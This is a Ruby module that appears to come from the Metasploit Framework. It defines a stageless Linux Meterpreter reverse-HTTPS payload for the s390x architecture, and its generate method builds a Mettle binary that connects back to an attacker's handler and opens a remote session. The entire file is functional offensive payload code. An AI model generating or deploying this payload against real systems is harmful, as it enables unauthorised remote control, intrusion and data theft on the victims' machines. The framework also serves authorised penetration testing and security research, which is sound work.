44 lines
1.2 KiB
Ruby
44 lines
1.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
# Module generated by tools/modules/generate_mettle_payloads.rb
|
|
module MetasploitModule
|
|
|
|
CachedSize = 1271016
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::MeterpreterOptions
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
|
'Author' => [
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
'timwr'
|
|
],
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_ZARCH,
|
|
'License' => MSF_LICENSE,
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
'Session' => Msf::Sessions::Meterpreter_zarch_Linux
|
|
)
|
|
)
|
|
end
|
|
|
|
def generate(_opts = {})
|
|
opts = {
|
|
scheme: 'https',
|
|
stageless: true
|
|
}.merge(mettle_logging_config)
|
|
MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
|
|
end
|
|
end
|